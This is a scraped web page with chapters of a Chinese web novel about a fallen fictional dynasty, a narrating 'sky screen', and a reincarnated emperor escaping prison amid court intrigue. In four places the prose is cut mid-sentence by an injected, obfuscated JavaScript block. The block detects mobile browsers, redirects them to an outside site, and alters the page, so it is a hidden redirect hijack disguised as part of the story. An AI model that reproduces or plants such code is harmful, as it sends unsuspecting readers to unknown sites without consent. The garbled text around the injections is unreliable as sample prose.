说真的,我要是萧泉我也指着他鼻子骂,这不逗人玩吗?】 (合理怀疑北灵帝完全是故意的,北灵帝这个人虽然不聪明,但是蔫坏,是真的坏的一批,小时候还故意把自己身上的锅全都扔给倒霉的伴读——我们的丞相大人齐舟,搞的我们丞相天天被打。) (完全就是人品有问题,我记得《朔史》里还记载他小时候经常仗着自己年龄大长得高欺负其他皇子公主,还撕人家作业。) (意——好恶毒!) 云起帝连连点头,终于有人懂他的感受了:这个蠢哥哥他真的恶毒!他不是那种恶毒,就是那种傻坏傻坏的那种,恶心的要命! 【萧泉一到长安知道北灵帝把他叫回来要干什么之后,天都塌了,萧泉这位金陵王可是以风雅著称的,他除了是北灵帝皇弟外还是乾朝著名的书画鉴赏家,审美极高,写了一堆书法鉴赏的名著,基本的鉴赏标准也都是他确定下来的,被叫回长安的那段时间一个字都没写啊,一个平时不写字就要犯疯病的人都被逼成什么样了?】 (666大乾第一戒字班) (北灵帝还是没有原谅这个世界吗?以一己之力让我有点同情后帝了,后帝的疯病不会也是他搞出来的吧?) (我觉得可能真是从小气的) (乾太祖现在在下面应该把天子剑给磨成针了) 卢公公顿时用同情的眼神看向了云起帝,他在乾时期就一直跟在云起帝身边,亲身体会云起帝确实是被他那个哥哥折腾的不轻。 不如说活到现在的乾人没有一个没被北灵帝折腾过的。 【然后就是大家熟知的灵帝西行,众所周知萧泉这人年轻的时候是有点预言家属性在的,说什么什么成真,他说大乾要去西天了大乾啪唧一下就裂成了两半。知道西行的事情后萧泉已经震撼到不想说话了,这就不是一个人类皇帝能整出来的花活你知道吗? 他先是骂了哥哥失道,这次西行肯定要出事,然后就开始装病。奈何他哥哥就是非要他去,亲自过来给他喂特苦的药,萧泉装病北灵帝就装兄友弟恭,苦的萧泉怕灵帝一时兴起再在里面下点毒,都不敢装了,只能答应去西行。】 【然后在西行礼佛的队伍里的萧泉,眼睁睁地看着北灵帝快快乐乐地打开了玉门关关门,然后烈日汗快快乐乐地冲了进来,几万人的队伍一阵兵荒马乱,整个大乾瞬间如倒地之墙变成了一块块碎片。】 扶桑甚至贴心地配上了画面,玉门之乱发生的时候,一脸麻木的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751122|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Q版萧泉小人站在那里非常命苦地倒下了。 …… 坐在云宿殿里的萧泉总觉得整个金陵城都在用同情的目光看着他。 萧靖川在牢里摸了摸下巴:“嘶……感觉这个爹孙子看起来也不是那么不顺眼了。” 【当然,萧泉当年毕竟还年轻,还有热血,不和其他王公贵族一样贪生怕死跑的鞋子都掉了。他的第一反应居然是组织被冲散的边关兵力去阻挡朔军,但是没成功,队形瞬间被冲散了,形势太混乱,挡也挡不住,他也只能作罢,选择跑路。】 (就这个第一反应,就足够南乾后帝的风评比北灵帝强一百倍了,虽然确实打不过。) (这没办法啊,本来云起帝就是个闲散王爷,对面的烈日汗在整个历史上也是数的上的猛人,手下的猛将更是要多少有多少,他儿子也特别能打,你放在整个乾朝也只有太祖和武帝能干。) (没办法,这俩人都有核武器——他们的大司马大将军顾月和总将顾月,别笑,真是一个名。) (君主爱cosplay是这样的,不仅自己要学太祖,手下也都给我按照太祖的规格一一改名字!) (我真服了他们那些吵架的了,乾武帝他明明对太祖超爱,一方的推推另一方的推,这还能吵起来也够离谱的。) 四面牢里的萧靖川嘴角抽了抽:“我觉得不用可能了,乾武帝肯定就是朕。” 如果不是因为他的三位能臣也都一起穿越到了这里,用原来的名字比较方便,历史上的乾武帝怎么可能连自己手下的名字都要和乾太祖一模一样? 点翠看到最后一条划过去的弹幕呦呦了两声:“哎呀,没想到陛下您的纯爱是和自己纯爱啊。” 之前怎么没见您这么自恋呢? 萧靖川只能用翻白眼来表示自己的不满。 【然后,萧泉这一跑,那可就不得了了。你翻翻五千年的史书,能和他比的也没几个,除了汉初给高祖拉车的某位车神,在我心里就只有一木渡黄河的某神人了。 萧泉,一个锦衣玉食的王爷,迅速将自己的目标调整为逃亡之后,展现出了无与伦比的跑路技巧,他不光自己飞快且精准地与烈日汗进军方向相反的地方冲,一冲就是一百多里,还能顺路捞上别人!】 【据《北乾史》记载,萧泉撤离时“尽收仓皇衣冠”,南北乾时期的《民间杂事录》也记载:“王亲执鞭驱百乘,昼夜驰骋一百三十里。时见车辙深逾三寸,笑载黄金,不知实负江山薪火。” 这家伙他不光自己跑,遇到人是真捞啊,他把有用的官员,人才,工匠,甚至皇室族亲能捞的全捞了,就连后面撑起整个北乾的齐舟都是他从乱尸堆里捞出来的,简直是帮后面的乾武帝保住了一个中兴班子基础。】 (恭迎真正的水陆空运输之王,在千年前就已经开始搞客运的云起帝!) (如果你觉得命还不够苦的话,请看看当年一边跑路一边捞人才的云起帝) (笑死我了,眼前都有画面了,云起帝:没事我捞完你的捞你的,捞完你的捞你的,放心,一切都在我的掌控之中。我捞捞捞——) 11.我非君所寻真龙(天幕) 卢公公偷偷瞄了一眼坐在龙椅上的萧泉,觉得自从天幕开始讲断乾之乱,连因为疯病平时显得不太正常的萧泉看上去都变得沧桑起来。 而且变得格外正常。 建议多来点。 金陵城里的文武百官不少都是当年萧泉从战场上带回来的,这也是为什么萧泉即使天天时不时发疯,也依旧有无数人追随。 因为云起帝他有命是真救啊! 曾经被萧泉一路带回来的官员们听到这里更是倒头就拜:“臣等感念皇恩!九泉之下万死不辞!” 坐在树上视奸各位大臣的黑龙卫萧四突然感觉有点不对劲。 怎么那几个大臣都冲着他藏身的这棵树的方向拜呢? 我靠,原来所有人都知道黑龙卫在哪儿啊! 萧四恍惚,自从穿越来乾朝之后他遇到的事情是越来越离谱了,先不说这个天幕文里才有的天幕是什么情况,以后会不会给他整出什么诸朝万界系统播放秦始皇骑北极熊,光现在的情况都够他消化一会儿。 原来所有被盯梢的官员都知道黑龙卫的位置啊?那他到底在监察个什么? 怪不得他的前辈告诉他不要随便更换自己的盯梢位置,原来是因为双方已经约定俗成了,你知道我我知道你…… 这也太人情世故了吧?! 萧四骂骂咧咧地继续记录:诸臣感帝恩跪谢,跪伏程度随官职递增。 要不说人家官大呢,还不是你跪的不够努力! 【当时的情况混乱到什么地步呢?就连齐舟这位从小到大跟在北灵帝身边的伴读,都因为驮马稀少被踹出了队伍,这可是和北灵帝从小一起长大的好兄弟。 萧泉遇到齐舟的时候后者可惨了,缩在一堆尸体堆里假装尸体,如果不是从小一起长大,萧泉还真不一定能认出他来。 好在,萧泉认出来了,好在,萧泉捞了他一把,这一捞,就是整个北乾的未来。】 (并非好兄弟) (实则不然,恰恰相反) (好沙包还差不多,论兄弟北灵帝也只有云起帝一个同胞兄弟) (北灵帝:骗你的,云起帝也踹!说不定还踹的更用力呢!) (唉!我悟了!北灵帝有高祖之风!谁说乾汉不算汉呢!) (感谢云起帝救了丞相一把,要不然丞相就真的game over了) (那北乾也一起game over了,没有北乾挡着烈日汗,南乾估计也撑不了多久,大乾就这样结束喽) (到时候武帝就成光武帝了,有没有人画if线?) 萧靖川撕心裂肺:“不要什么都if啊!你们爽了原作怎么办啊!我的大乾!” 点翠:“嚯!陛下也太了解话本术语了吧?看来平时没少看?” 萧靖川又不说话了。 【玉门之乱后,烈日汗势如破竹,回到长安还没歇两天,朔军就追了过来。玉门关一破,关中平原的优势不再,长安沦陷,百万衣冠被迫东迁。 在这个过程中,萧泉和齐舟同行了一段路,那段路不长,只走了短短三天,但是却在洛水畔诞生了一段留名青史的对话。】 扶桑的身影消失,天幕上再次出现了新的画面。 那时候天下起了雨,而队伍正好在洛水岸歇脚。 天空都是灰色的,笼罩着整片大地。蒙蒙的细雨落下,将地面染成了深浅不一样的颜色,就像乾现在这个混乱不已的烂摊子。 雨下的洛水畔有一片竹林,竹林里有养竹人为了砍竹笋设置的一座座小屋,队伍暂时停在这几座小屋里歇脚,所有人都安置下来之后,萧泉邀请齐舟对弈。 说是对弈,其实就是两个人在竹屋中下棋打发时间,萧泉心不在焉,齐舟虽然年纪小一些,当时也就刚刚及冠,但是依旧从容应对,不卑不亢。 不仅仅是不卑不亢,他的眼神太锋利了,锋利到对视都像是在评估和计算。 当萧泉落子的时候,齐舟突然开口。 齐舟:“金陵王觉得还能夺回来吗?” 萧泉意外地抬头看着他,脸色一下子变了,变得肃穆又沉默。 齐舟没明说,但是他们都知道他在说什么。 他们一言不发,就这样看着彼此,好像万国衣冠,千里舆图,都在对方的眼睛里。 一时间,整个空间只剩下了让人窒息的风声与雨竹声。 整个金陵城仿佛也一瞬间安静了下来。 卢公公紧张地瞥了眼身边的萧泉,却见萧泉的眼中浮现出亮到可怕的神采——那是看到了自己追随已久的,寻找已久的某样东西的色彩,卢公公突然觉得背后发寒,因为他对这种眼神并不陌生。 他是宫里的老人了,他记得,当年北灵帝被僧人从流匪中救出来时,望着那僧人项上的佛珠时,也是这种眼神。 那是一种找到了心灵寄托的眼神。 天幕中的萧泉和齐舟还在沉默,但是云宿殿中的萧泉却大笑了起来:“果然为仙人之举,果然为扶桑使者,卢目,你看到没有?你知不知道,天幕上的这些画面,和朕记忆中的那场对话一模一样,就连风声都一模一样!非天力怎能还原至此?” 他呆呆地望着天幕,好像那东西已经从后世评价变成了真正的神迹——真正的由九歌巫神之一的少司命扶桑降下的神迹! “太好了……朕追寻的仙人是存在的,寻找的长生是存在的,既然巫神是存在的,朕自然可以修成真仙……朕自然可以——” 卢公公只能一边苦笑一边跪倒在地奉承。 上这个班真服了,老板怎么又犯疯病了! 天幕上的画面还在继续。 萧泉知道齐舟的意思,齐舟几乎是在明示。 北灵帝被俘,烈日汗势如破竹,军队士气正盛,国家动荡不安,群龙无首不成体统,也做不成任何事。 他们必须有一个领袖,这样才能开始慢慢地恢复秩序,集中力量,否则的话,下场就是大乾的土地一寸一寸地沦陷在朔军的手下。 而朔军对他们所过之处做了什么呢? 扶桑的旁白适时地响起。 【《朔史·武勋卷》载:“天狼旗入玉门,可汗效先祖歃血祭天礼,令“赤泉灌漠,骨沃黄沙”。然其行止远超古俗,河西千里顿成人间炼狱。”】 【不只于此,为了彻底地瓦解乾的统治,烈日汗还颁布了三光令。】 扶桑的声音变得有些沉痛:【何谓三光?——“柱梁可焚者焚,金石可载者载,丁口可驱者驱。” 第一为焚城焚光,短短三日,三十座边镇在七日内相继冒起狼烟,前朝遗存近千年的古木构建筑皆化作焦土。 第二为掠宝掠光,河西众多藏经洞绢本被扯作污纸,各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755707|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郡县都镇画中金箔在马蹄间碾成齑粉。 三为徙民徙光,战乱后幸存的百姓被迫远走漠北,背井离乡。】 【烈日汗是个非常狠的狠人,偏偏他又很有能力,知道想要彻底占领一片土地要如何去做,他亲持拉满长弓击碎玉门关匾额,断了所有守军的念想,并且实施三项绝户策。 其一为犁庭:掘毁世家祖坟,尸骨混入夯土。 其二为绝文:收缴《乾律》《礼仪志》等典籍,羊皮纸重新鞣制为箭囊。 其三为易俗:强迫所过之地皆行朔地草原习俗。】 扶桑几乎是悲泣般的长长叹息: 【《南乾·遗民录》记录:“朔人制人头盏,削美人足为舞器,婴孩掷予獒犬争食。诸行省闻河西事,守城者皆战至断刃,无复降意。”】 于是齐舟的那双眼睛更加分明。 他见证了这一切,亲身经历了这一切,亲眼看到了在朔军之下所有人是如何平等地成为了祭天的牲畜。 于是他几乎是在向萧泉发出邀请。 臣愿请王称圣上。 但是在那一天,在沉默的最终,萧泉却摇了摇头,他只说了六个字。 “于君,我非良人。” 他拒绝了齐舟的邀请,因为他并非齐舟心中能与北灵帝形成鲜明对比的圣君,在最开始的时候他也不是没有试过和朔军交锋——但是他失败了,他自认为自己没有那样的能力,也没有那样的勇气。 上前一步可能是无尽深渊,但也可能成就一番大业,成为前朝光武一样的中兴之祖,再续大乾百年。 但是他不敢赌。 在真正需要翻越的龙门前,萧泉没有迈过去的勇气,就像在金陵城里苟且偷生的所有世家子弟一样。 他不是齐舟寻找的真龙。 “既如此……我亦非良臣。” 齐舟闻言却笑了,他的笑说不上轻松,但是也绝对称不上失望。 扶桑叹息:【很多人都在想这句话究竟是什么意思,关于这句话的解析也有无数个版本,但是其实在我看来,叠个甲,就我主观来看哈,其实很简单,那就是—— 既然你不识抬举,那老子就要去当乱臣贼子啦!】 (绷不住了后面齐舟确实也是这样干的,直接硬生生在燕云十六州重新开辟对朔战场,拥立云起帝和北灵帝才8岁的妹妹作为北乾皇帝,某种意义上也算是另立了北乾。) (当然这位妹妹也是熟人——后来的乾文帝。) (云起帝他们爹也是离谱,一共就三个孩子,三个全都当了皇帝,乾灵帝,云起帝,乾文帝。) (哎,对于齐舟来说也挺唏嘘的,被云起帝拒绝后,他在乱军中找了很多位皇室宗亲,最后愿意站出来和他一起去打烈日汗的居然是个八岁的孩子。) 但当时的齐舟并不知道自己的未来,他只是坚定地要去执行他的信念,于是他鞠躬作揖,深深地向萧泉行了一礼,算是结束了多年的情谊。 君欲向南我向北,从此碧落黄泉不可见。 风萧萧兮洛水寒。 于是齐舟行礼离开,逆着所有王公大臣逃亡的轨迹,走向北方,携手灵帝和云起帝才10岁的妹妹萧瑶,定都北京燕京,史称北乾。 而萧泉带着世家纷纷南下,渡过黄河,渡过长江,定都南京金陵。 史称南乾。 12.八仙过海 言尽于此,天幕于此缓缓淡去,不同于之前第一次一下子黑屏的情况,这次天幕缓缓消失,就像它突然出现一样,没有留下任何痕迹。 这场天幕似乎只在一些特定的人眼中可以被看到,虽然不知道具体的划分标准是有官职还是在史书中留有一笔,但是影响的人数有限,所播放的事情也只有过去已经发生过的玉门之乱,所以掀起的影响尚在可以控制范围内。 能看到天幕的文武百官也都不是傻子,没人会把在天幕上看到的后世之言到处乱说。 更何况…… 乾武帝的存在,已经足够他们开始运作自己的小心思,尤其是已经站队了大皇子党和三皇子党的人,纷纷开始如何从这所谓的后世之言中捞取油水。 玉门之乱,乾危在旦夕,但是和他们又有什么关系? 一屋不扫何以扫天下,更何况有乾武帝在,他们再怎么折腾也不会出事的,反正总会中兴。 说不定……他们追随的皇子就是那位乾武帝呢,那更要将夺嫡之事提到万万事前了。 诏狱四面牢中,天幕最大的获益者们,终于明白了后世现在是个什么情况的开国皇帝和他的三公又开始面面相觑。 乱世需雄主,北灵帝和云起帝都不是能称为雄主的人,否则齐舟也不会遗憾离场,抗击烈日汗的责任更不能扔到一个8岁的小孩子身上。 要不然他们来到后乾做什么?专门来坐牢的吗? 既然目的有了,那要怎么执行呢? 君右丞最先开了口:“陛下,我们需要做什么?” 萧靖川没有思考,几乎是脱口而出,因为刚刚在看天幕的时候他就一直在思考:“先离开这里,做你们最擅长的事情。我相信以你们的能力,肯定都有离开这里的办法。” 顾月嘴角抽了抽:“臣的确有,就是有点不太体面……恐污乾名……” 萧靖川却满不在乎:“没事,你先出去,只要出去了就有希望,至于乾名……哈哈哈现在的乾哪有那个东西。” 点翠点点头:看来陛下确实是疯了。 顾月还是一副担忧的样子:“那陛下您——” 萧靖川整理着自己的枕头:“我?我等着把我的原身坑到这里的人来找我,或者你们找到办法,把我救出去。” 君右丞叹了口气:“会很危险。” 他继承了不少这具身体的记忆,知道云起帝有三子,太子和三皇子隐隐分庭抗礼,只有萧川是个傻子,本来与两位储君人选没有任何竞争关系,但是乾武帝这个名号一出—— 不管是三皇子党还是太子党,都会先下手为强杀了萧靖川。 不怕一万就怕万一,夺嫡之争不是儿戏,各自都压上了家族的命运和能拿出来的一切,他们宁肯错杀也绝不会放过。 “哎呀老君你又犯操心的病了,不用担心我,我是个傻子,还是个孩子,谁又会和傻子计较呢?” 萧靖川眨着自己的大眼睛说。 君右丞顿时变成了死鱼眼:老登别装嫩。 他懒得搭理萧靖川,在看到巡逻的狱卒的影子出现在灯火下后,零帧起手开始演戏。 君右丞高声大喊:“我父冤屈!!我父冤屈啊!” 其他三人吓了一大跳,那个过来巡逻的狱卒也吓了一大跳,转头就跑。 萧靖川:“……老君,你行不行?” 君右丞冷笑一声:“陛下请看吧。” 君家的灭顶之灾来的莫名其妙,背后必然是无数力量盘根错节互相斗争的结果,一方胜利一方就会落败,既然如此…… 那他这位侥幸不死的君家的最后血脉,就成了落败的那一方天然的同盟。 不可能有人忍住不动的。 “怎么把他们四个关在一起了?他们四个犯的罪有什么关系吗?” “也许是狱卒无意间,害,卫使大人,您也知道现在诏狱的情况,下官下次一定改,一定改……” 很快,两个正在对话人走进了烛火光芒笼罩的范围内。 一个是刚刚跑过去的巡逻小队长,另一个是……穿着锦衣的黑龙卫,眉眼都很细,像条阴郁的黑蛇。 能穿锦衣的黑龙卫非寻常暗卫能比,他们的品阶更高,也更类似于官场上的官员。 只不过谁都知道那身银纹黑衣后代表着什么。 “君公子……” 君右丞死死地盯着那位黑龙卫。 黑龙卫却只是笑了笑,丢给了他一块玉佩,上面写着陈。 支持太子的户部尚书陈粟,就是姓陈。 “走吧,君公子,有大人正在等着你呢。” 黑龙卫萧三做了个请的动作,一边的守卫见状连忙殷切地打开了君右丞的牢门,然后在萧三的示意下将钥匙呈上。 君右丞没有说话,他径直离开了这里,没有看身边的黑龙卫一眼。而出口的尽头,打着灯笼的家丁已经做好了迎接的准备。 “呦,好大的脾气,真倔。”萧三倒是没生气,他甚至很感兴趣地感叹了一声,然后晃着守卫刚刚呈上的钥匙,看向顾月:“顾小校尉考虑好没有啊?陛下又没有亏待你,两个人嘛,在一起主要是过日子,其实性别也不是很重要啦,看在顾小校尉差点成了我的同僚又年纪轻轻的份上我提醒一下你,可不要白白因为不感圣意丢了命啊。” 顾月几乎是下了一万个决心才开的口。 “我……臣错了,臣认识到了自己的愚钝,没能感悟到陛下的恩德,臣谢陛下恩典!” 萧靖川默默地闭上了眼装睡:这简直是逼良为娼,诬良为盗啊啊啊!怎么不算是一种ntr呢?! 云起帝你这个便宜爹孙子给我等着! 萧三顿时喜笑颜开地开了顾月的锁。三皇子参了吏部尚书君和,那么君右丞就变成了太子党用来恶心三皇子党的一步棋。 顾月要结婚的人更是兵部尚书家的公子,兵部尚书是三皇子党一直想要拉拢的对象,那老头自诩清流,从来不站队,现在被发疯的云起帝这么恶心一下,肯定要出口气,而顾月父母所在的三皇子党是他最好的选择。 如此完美,即使是乐观如萧三也没想到三皇子党和太子党今晚给他的任务他都完成了,这下又能两头大捞一笔,给陛下充金库了。 于是达成了自己目的的众人纷纷满意离去。 点翠向萧靖川挥了挥手:“那陛下我也走了,有需要让小镜子联系我哦!” 说完,点翠就消失不见了,只有一只漂亮的青鸟趁着烛影缭乱飞出了诏狱。 一起坐牢的好朋友全走了,周围安静下来。 萧靖川:……怎么感觉自己这么像孤寡老人。 这时又一个巡逻的守卫走了过来,他看了眼只剩下一个人的四面牢,吓得酒都醒了:“不是!怎么就剩下一个人了?!” “我不知道哦,嘿嘿嘿。”萧靖川心道终于轮到我了。 人都走光了,他愣是瞪着个大眼说不知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759855|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始装傻。 另一边,南乾都城金陵城,乾宫坤宁宫。 “母妃,君尚书的事已了结,接下来……” 内室之中,三皇子恭敬行礼。 正在用香篆扫平香灰的女人一身素白银锦衣,步摇流苏垂至肩头,是一种暗含妖媚傲气的风情万种,眉间却淡然素雅,犹如夜来幽香。 甘贵妃抬起头,面上不带悲喜,她望着神情迷茫的儿子,眼角隐含愁容。 按年龄来算,三皇子今年也不过二十三岁,放在寻常富贵人家家里,应该正是潇洒自在的年纪。 可惜他生于天家,就连乾太祖都在二十三岁已经组织起了自己的队伍,加入前晏末的混战之中,三皇子就更没有……与寻常人家相比的机会了 甘贵妃合上了眼。 “儿臣其有一事不明,君尚书他明明——” 三皇子压低声音,他握紧了衣摆,天幕带来的乾武帝的信息并没有让他感到额外的情绪,他这次来主要是想问清楚君和的事情。 但却被甘贵妃压下。 “祭书搜寻的如何了?要多多为你的父皇分忧,不要辜负了你父皇对你的期望啊。” “……是。” 三皇子看着自己母妃那双眼眸,终究还是没有再问下去。 毕竟……坤宁宫的周围影影绰绰。 一边朱红的屋檐之上,萧四隐藏在黑暗的深处,就连呼吸都被封存在了黑衣卫的面纱之下,像是一缕幽魂一样站在那里。 他认认真真地拿出一个用机械齿轮设置了封锁机关的小本子,用大学期末前划重点的高度集中的注意力,将甘贵妃的话用笔一点一滴全部记录下来。 嗯,字很难看。 萧四感觉自己快要被那些狗爬一样的字笑死了,不过无所谓,这些字终归还是要靠司礼监的掌监大人卢公公抄录一遍的,反正头疼的不是他,他也懒得操心。 “阿瑛乖,好好地抄录祭书,为陛下的新丹祈祷。” 甘贵妃合上眼,她扔掉手里的香篆,金属坠落在地发出金戈交错的哗响,三皇子脸色苍白,他从小聪慧,自然在母妃不愿多说的态度只多少读出了些山雨欲来风满楼的意味,虽然他很看不惯君和那个老家伙总是直言不讳,半点不遵守朝堂规则的样子,太子党也和他一样…… 但是他还真的没想过要对方死,现在看来君和的死也不是母妃的意思,那么…… 他已经没必要再想下去了。 在请完安后,三皇子安静地躬身,退了下去。 “暗香。” 寂静的室内中,甘贵妃突然开口。 “奴婢在。” 在一边捡起香篆,身着优异的大宫女行了一礼。 甘贵妃没抬头:“六皇子如何?” 暗香:“被打入了诏狱,奴婢刻意嘱咐过哪里的狱卒,不要苛待,放着就好。” 甘贵妃椅靠在椅背上,叹息一声:“那就顺手再去把六皇子杀了吧,他总之是活不下来了,不如死在我们手里,还能死的痛快一点。” 暗香应诺。 “暗香……你会因为这件事是重罪而下不去手吗?” 甘贵妃突然开口。 暗香只是行了一礼:“为娘娘做事,功罪非常人所能论之。” 甘贵妃却笑了:“那看来我也该这样想。” 为陛下和我的大业做事,功罪岂为常人所能论之? 她没有必要再继续犹豫。 13.找饭吃 云行殿。 第二天的朝会如常进行,昨晚的天幕播放的那些片段好像从来没有发生过一般,满朝文武未有一人提及。 即使提了也没有用,有谁会因为远在燕云和关中的虚无缥缈的大义放下自己近在咫尺的权与利呢? 就算是烈日汗打过来了,不是还有北乾吗?齐舟那个另立新君的乱臣贼子,既然想要顶在最前面那就去顶呗。 无人在意。 于是云行殿的朝会一如既往,与往日没有任何区别,三皇子党和太子党明争暗斗,君和的死也像是一粒尘埃,被轻轻拂去后飘散。 一切都在继续。 朝会后,云起帝萧泉头疼地敲着自己的脑袋。 他像是突然想到什么一样,叫了声萧四。 萧四瞬间从阴影处走出跪倒,动作一气呵成。 “对了,萧四,之前贵妃说的,谁冲撞了她来着?” 萧四:八百年前的事情了……现在才想起来问可还行。 但他还是俯首回答:“回陛下,是六皇子殿下。” “原来是他……是个傻子,死的早,也好。你去看一眼,要是还活着,就把他放出来吧。” 萧四愣了愣:哇塞,居然当人了? 云起帝又道:“要是受不了牢狱寒苦死了,就好好安葬,然后把他除名吧,朕就当没有过这个儿子。” 笑死,当不了一点。 萧四感觉自己刚刚真的是出了幻觉,他的这具身体是跟着云起帝一起长大的,但是三个月过去了,他一点都没有看出来自己的黑衣卫已经死过一次,换了个芯子。 萧四看着自己胸口的布料,黑色织银下是一道洗澡的时候把他都吓了一跳的伤疤,那是这具身体小时候替云起帝挡刺客时留下的。 那时候云起帝还哭着拼命捂住他的胸口,不断喊着:“你不要死哇!你死了我也不活了!”,还像个人类。 自古无情帝王家啊。 这种人怎么可能会可怜一个深宫里的小皇子。那个倒霉的皇子怕是又要成为他们的政治工具了。 萧四深吸一口气,向高高在上的皇帝告辞。 ** 南乾都城金陵城,诏狱中。 透过幽暗到白日也像是黄昏的铁栏窗可以看到,其中一个房间里面,一个穿着白色圆领袍的少年倒在稻草铺成的地面上,脸色白的吓人。 他眉眼间暗淡,虚弱到就连呼吸都已经轻的几近消失,那双轻合的眼睛好似永远不会再睁开。 “赶快处理掉,你的刀拿好没?!” “哎呀在拔了在拔了,刀套卡住了而已!先说好,一会你去砍,我去压着他!” 两个狱卒偷偷地背对着牢门,浑身酒气地互相推搡着,全然没有注意到身后的少年已经悄然睁开了眼睛。 拔刀的狱卒急得一头汗:“凭什么我是直接责任?!这事往大里说可是残害皇嗣,要诛三族的!” 撑着牢门,准备开锁的狱卒冷笑一声:“贵妃娘娘身边的人都吩咐下来了,为贵妃娘娘做事,是非功过岂能常论?贵妃娘娘找了你,太子那边找了我,这活肯定是要咱俩出了——咱们都在诏狱这么久了,眼看发下来的俸禄都养不活家里,你女儿昨天才因为饿的受不了跑到这里来找你,你都忘了?” 拔刀的狱卒顿时犹豫起来。 撑门道的狱卒乘胜追击:“而且你我都是宫里调出来的,知道这个六皇子多么受圣上厌弃,牢里阴森,小后生体弱没命也是常理之中,你又紧张个什么劲!” 拔刀的狱卒结结巴巴,锋利的刀刃映出他的脸,他想起自己的女儿,那么小一个,他却连她一个人活下去的粮食都没法满足,明明在京城当官,还要让自己的家人忍饥挨饿。 “那也不能是我一个人的事!” 拔刀的狱卒骂骂咧咧,他其实已经被说服了,刀是昨晚新磨的,锋利的宛如神兵,他咬了咬牙,刚想回头,却听到一声犹如鬼音的疑问。 “诸位是想杀谁啊?” 那个声音清澈,飒爽,像是夏日的凌风,带着少年人独有的清亮底色。 两个狱卒顿时脸色大变,刚刚明明已经确认过,那个六皇子现在已经因为饥饿和寒冷导致的高烧不退陷入晕厥,很难清醒过来。 但现在…… 狱卒转过身,看到刚刚还倒在地上的少年正笑眯眯地看着他们,眼底是一簇冻结的新雪。 那雪冰冷,彻骨,绝对不是一个尚未及冠的少年能拥有的眼神。 拔刀的狱卒大叫一声,撑门的也瞬间变了脸色,抽出神机刀,他们本能地将手里的神机刀挥出,巨大的齿轮开始旋转,带出可怕的轰鸣声,锋利的刀刃带着神机构造加强的重量向着萧靖川砍去,金属相切之声响彻,看着眼前眼都没眨一下更枉论受伤的少年,两个人脸上的血色都瞬间褪了个干净。 刚刚那是……一面镜子? 狱卒目瞪口呆,怎么会是一面镜子?!六皇子怎么可能拿一面镜子就挡下来了神机刀?难道六皇子是习武之人? 但是不可能啊!六皇子……那傻子明明只是个普通人啊! 撑门的狱卒结结巴巴:“你……不是……那个傻子……你到底是谁?!” 站在原地,毫发无伤的萧靖川笑了:“你居然在问……朕是谁?” 他眼中的冷色陡然加重,可怕的威压肩负着无法忽视的重量向着周围的一切压来,两个狱卒甚至隐隐听到了一声非人的巨兽鸣吼。 两个狱卒抖成了筛子,一瞬间,他们几乎看到站在那里的少年的眼睛陡然变成了某种巨兽一般的金色……那绝对不是他,而是祂! 那不是人类能拥有的气息,即使是拥有大乾皇室传家宝——护世三剑之一天子剑的云起帝也绝不可能做到。 两个狱卒被吓得大叫一声,可惜之前为了实现贵人的命令成功杀掉六皇子,他们早就偷偷调走了外面的巡逻同行,现在没有任何能够来帮他们。 萧靖川眼中金色的光一闪而过,两个狱卒几乎失了神智,连滚带爬地冲出了狱院。 “哇哦,跑的还真快。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765825|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧靖川眺望了一会儿那两个狱卒狼狈的背影,动作之间,秦王照骨镜脱手砸在杂草遍布的大理石地面上,他蹲下身,眼前不禁浮现一丝喜色。 刚刚那两个狱卒,看来已经被他的好搭档照骨镜删去了记忆。 “阁下都看了这么久了,不出来见见人吗?也太没有礼貌了吧?” 萧靖川一边擦拭着照骨镜上的灰,一边随意地开口。 萧四只想骂人。 他真傻,真的,他就知道派给倒霉大学生的活肯定没有什么好活,但是没想到居然活都不让活了。 刚刚那是什么东西?这就是野史里能造火箭的大乾吗?也太恐怖了吧!人的眼睛怎么能变成金色呢?! 这是人类吗?! 